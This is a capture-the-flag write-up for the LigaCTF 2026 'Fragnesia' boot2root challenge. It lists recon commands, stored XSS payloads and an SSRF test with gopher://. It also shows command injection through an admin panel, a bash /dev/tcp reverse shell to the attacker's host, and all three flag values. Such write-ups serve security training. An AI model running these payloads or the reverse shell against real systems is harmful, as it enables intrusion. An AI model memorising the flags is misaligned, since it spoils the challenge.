LigaCTF 2026
Fragnesia
LigaCTF 2026 ligactf2026, web, forensics writeup covering Fragnesia with analysis, solution steps, and final recovery notes.
Challenge Information
| Field | Value |
|---|---|
| Challenge | Fragnesia |
| Category | Boot2Root / Linux |
| Target IP | [REDACTED_LOCAL_IP] |
| Attacker IP | [REDACTED_LOCAL_IP] |
| Attacker OS | Kali Linux |
| User Flag | OWASPKL{W3ll_h3ll0_tH3rE} |
| Second Flag | OWASPKL{F33l_s0_3mPTy_i5nt} |
| Final Flag | OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A} |
1. Host Discovery
The attacker machine was configured on the bridged network and received the IP address:
ip a
ip route
The Kali attacker IP was:
[REDACTED_LOCAL_IP]
The local subnet was scanned using ARP discovery:
sudo arp-scan --interface=eth0 --localnet
The target was identified as:
[REDACTED_LOCAL_IP] 08:00:27:b5:b3:36 PCS Systemtechnik GmbH
The 08:00:27 MAC prefix indicated an Oracle VirtualBox virtual machine.
2. Port Scanning
A full TCP port scan was performed against the target.
export IP=[REDACTED_LOCAL_IP]
sudo nmap -Pn -n -p- --min-rate 3000 $IP -oN full_ports.txt
Only one TCP port was open:
PORT STATE SERVICE
80/tcp open http
A service/version scan was then executed:
ports=$(grep -oP '^\d+(?=/tcp\s+open)' full_ports.txt | paste -sd, -)
sudo nmap -Pn -n -sCV -p "$ports" $IP -oN service_scan.txt
Result:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Guestbook
The web service was Apache on Ubuntu and hosted a page titled Guestbook.
Nmap also showed that the PHPSESSID cookie did not have the HttpOnly flag set.
3. Web Enumeration
The main page was requested with curl.
curl -i http://$IP/ | tee index_headers.txt
curl -s http://$IP/ | tee index.html
grep -Ei "form|input|textarea|method|action|href|src" index.html
The application exposed a simple guestbook form:
<form method="POST">
<textarea name="text"></textarea><br>
<input type="submit" value="Post">
</form>
The only visible input parameter was:
text
Common files were checked manually:
for p in robots.txt sitemap.xml .git/config backup.zip index.php index.php.bak config.php config.php.bak db.php database.php; do
echo "===== /$p ====="
curl -i -s http://$IP/$p | head -n 20
done
Most files returned 404, but index.php existed.
Directory and file enumeration was then performed:
ffuf -u http://$IP/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-mc all -fc 404 -o ffuf_common.json
A larger PHP-focused enumeration was also performed:
ffuf -u http://$IP/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
-e .php,.txt,.bak,.old,.html \
-mc all -fc 404 -o ffuf_ext.json
Interesting endpoints found:
/index.php
/admin.php
/admin_login.php
/bot.php
Manual checking showed that /admin.php was protected:
curl -i -s http://$IP/admin.php
Response:
Access denied.
The login page was available at /admin_login.php:
curl -i -s http://$IP/admin_login.php
It displayed a basic username and password form:
<form method="POST">
<input type="text" name="username" placeholder="Username"><br>
<input type="password" name="password" placeholder="Password"><br>
<input type="submit" value="Login">
</form>
4. Stored XSS in Guestbook
The guestbook was tested for stored HTML and JavaScript injection.
curl -c c.txt -b c.txt -i -s -X POST http://$IP/ \
--data-urlencode 'text=<script>alert(1)</script>' | tee xss_post.txt
curl -c c.txt -b c.txt -s http://$IP/ | tee xss_check.html
grep -nEi "script|alert|img|svg|onerror|onload" xss_check.html
The payload was reflected back unsanitized:
<div><script>alert(1)</script></div>
Additional payloads were tested:
curl -c c.txt -b c.txt -s -X POST http://$IP/ \
--data-urlencode 'text=<img src=x onerror=alert(1)>'
curl -c c.txt -b c.txt -s -X POST http://$IP/ \
--data-urlencode 'text=<svg/onload=alert(1)>'
curl -c c.txt -b c.txt -s -X POST http://$IP/ \
--data-urlencode 'text="><img src=x onerror=alert(1)>'
The payloads were stored and rendered by the page.
Vulnerability:
Stored Cross-Site Scripting due to unsanitized guestbook comments.
The missing HttpOnly flag on PHPSESSID meant that JavaScript could read the session cookie if executed in a victim browser.
5. Bot Endpoint Testing
The /bot.php endpoint returned a blank response:
curl -i -s http://$IP/bot.php
Response:
HTTP/1.1 200 OK
Content-Length: 0
To test whether it fetched external URLs, a listener was started on Kali:
python3 -m http.server 8000
Then the bot was triggered:
curl -s "http://$IP/bot.php?url=http://[REDACTED_LOCAL_IP]:8000/bot_test"
The Python server received a callback from the target:
[REDACTED_LOCAL_IP] - - "GET /bot_test HTTP/1.1"
This confirmed that /bot.php performed server-side URL fetching.
A JavaScript beacon was also planted in the guestbook, but the bot did not execute JavaScript like a real browser. This indicated that /bot.php was likely a server-side fetcher rather than a JavaScript-capable browser bot.
Further testing confirmed gopher:// support:
nc -lvnp 8002
In another terminal:
curl -i -s "http://$IP/bot.php?url=gopher://[REDACTED_LOCAL_IP]:8002/_HELLO"
The listener received:
HELLO
This confirmed blind SSRF behavior, but the endpoint did not return fetched content, so it was not directly useful for reading internal files.
6. Admin Credential Discovery
Since the application theme strongly focused on XSS, a small custom wordlist was generated from challenge-specific terms instead of using rockyou.txt.
The seed words included:
xss
admin
bot
guestbook
stored
awesome
fragnesia
A custom wordlist was created and saved as:
custom-pass.txt
The final discovered password was:
[REDACTED_PASSWORD]
The login was tested manually:
curl -i -s -c admin.cookie -b admin.cookie -X POST http://$IP/admin_login.php \
-d "username=admin&password=[REDACTED_PASSWORD]"
The server returned a redirect:
HTTP/1.1 302 Found
Location: admin.php
The authenticated admin panel was then accessed:
curl -s -b admin.cookie http://$IP/admin.php
Output:
<html><body>
<h1>Admin Panel</h1>
<form method="POST">
<input type="text" name="cmd" placeholder="Enter command">
<input type="submit" value="Execute">
</form>
</body></html>
Valid credential:
admin:[REDACTED_PASSWORD]
7. Authenticated Command Execution
The admin panel exposed a cmd POST parameter.
Command execution was tested with id:
curl -s -b admin.cookie -X POST http://$IP/admin.php \
-d "cmd=id"
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Other basic commands were executed:
curl -s -b admin.cookie -X POST http://$IP/admin.php \
-d "cmd=whoami"
curl -s -b admin.cookie -X POST http://$IP/admin.php \
-d "cmd=pwd"
curl -s -b admin.cookie -X POST http://$IP/admin.php \
-d "cmd=ls -la /var/www/html"
Output confirmed command execution as www-data from the web root:
www-data
/var/www/html
Vulnerability:
Authenticated OS Command Injection / Remote Command Execution through the cmd parameter.
8. First Flag
The web directory was listed:
curl -s -b admin.cookie -X POST http://$IP/admin.php \
-d "cmd=ls -la /var/www/html"
Output:
-rw-r--r-- 1 root root 366 May 30 18:22 admin.php
-rw-r--r-- 1 root root 435 May 30 18:22 admin_login.php
-rw-r--r-- 1 root root 671 May 30 18:22 bot.php
-rw-r--r-- 1 root root 26 May 30 18:22 first_flag.txt
-rw-r--r-- 1 root root 824 May 30 18:22 index.php
The first flag was read:
curl -s -b admin.cookie -X POST http://$IP/admin.php \
-d "cmd=cat /var/www/html/first_flag.txt"
Flag:
OWASPKL{W3ll_h3ll0_tH3rE}
9. Reverse Shell
A Netcat listener was started on Kali:
nc -lvnp 4444
A Bash reverse shell was triggered through the authenticated command execution:
curl -s -b admin.cookie -X POST http://$IP/admin.php \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[REDACTED_LOCAL_IP]/4444 0>&1'"
A shell connected back:
connect to [[REDACTED_LOCAL_IP]] from (UNKNOWN) [[REDACTED_LOCAL_IP]]
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
www-data@fragnesia:/var/www/html$
The shell was stabilized:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 cols 120
10. Local Enumeration
Basic enumeration was performed:
whoami
id
hostname
pwd
ls -la /var/www/html
ls -la /opt
find /opt -type f -maxdepth 3 -ls 2>/dev/null
Output:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
fragnesia
/var/www/html
The /opt directory contained interesting files:
/opt/admin_bot.sh
/opt/container_creds.txt
/opt/docker-build/Dockerfile
/opt/docker-build/last_flag.txt
/opt/docker-build/second_flag.txt
The container credential file was readable:
cat /opt/container_creds.txt
Output:
user:fragnesia
The Docker build directory was world-readable:
ls -la /opt/docker-build
Output:
-rw-r--r-- 1 root root 644 May 30 18:22 Dockerfile
-rw-r--r-- 1 root root 33 May 30 18:22 last_flag.txt
-rw-r--r-- 1 root root 28 May 30 18:22 second_flag.txt
Root access was not required because the flag files were readable directly by www-data.
11. Second Flag
The second flag was stored in the Docker build context.
cat /opt/docker-build/second_flag.txt
Flag:
OWASPKL{F33l_s0_3mPTy_i5nt}
12. Final Flag
The final flag was also stored in the Docker build context.
cat /opt/docker-build/last_flag.txt
Flag:
OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A}
13. Attack Chain Summary
1. Configured Kali and the target VM on the same bridged network.
2. Discovered the target with arp-scan.
3. Performed a full TCP scan with Nmap.
4. Found only port 80 open.
5. Identified Apache 2.4.58 on Ubuntu hosting a Guestbook application.
6. Discovered /admin.php, /admin_login.php, and /bot.php through web enumeration.
7. Confirmed stored XSS in the guestbook through the text parameter.
8. Confirmed /bot.php performed server-side URL fetching.
9. Determined the bot was not a JavaScript-capable browser bot.
10. Generated a custom password wordlist based on XSS-themed challenge words.
11. Discovered valid admin credentials: admin:[REDACTED_PASSWORD].
12. Logged in to /admin_login.php and accessed /admin.php.
13. Identified authenticated command execution through the cmd parameter.
14. Executed id and confirmed RCE as www-data.
15. Read /var/www/html/first_flag.txt.
16. Triggered a reverse shell to Kali.
17. Enumerated /opt and found readable Docker build context files.
18. Read /opt/docker-build/second_flag.txt.
19. Read /opt/docker-build/last_flag.txt.
14. Vulnerabilities Identified
| Vulnerability | Location | Impact |
|---|---|---|
| Stored XSS | Guestbook text parameter | JavaScript execution in users viewing comments |
| Missing HttpOnly flag | PHPSESSID cookie | Session cookie readable by JavaScript |
| Blind SSRF | /bot.php?url= | Server-side URL fetching, including gopher:// |
| Weak admin password | admin:[REDACTED_PASSWORD] | Admin panel compromise |
| Authenticated command injection | /admin.php cmd parameter | Remote command execution as www-data |
| Sensitive file exposure | /opt/docker-build | Second and final flags readable by low-privileged user |
15. Final Flags
First Flag: OWASPKL{W3ll_h3ll0_tH3rE}
Second Flag: OWASPKL{F33l_s0_3mPTy_i5nt}
Final Flag: OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A}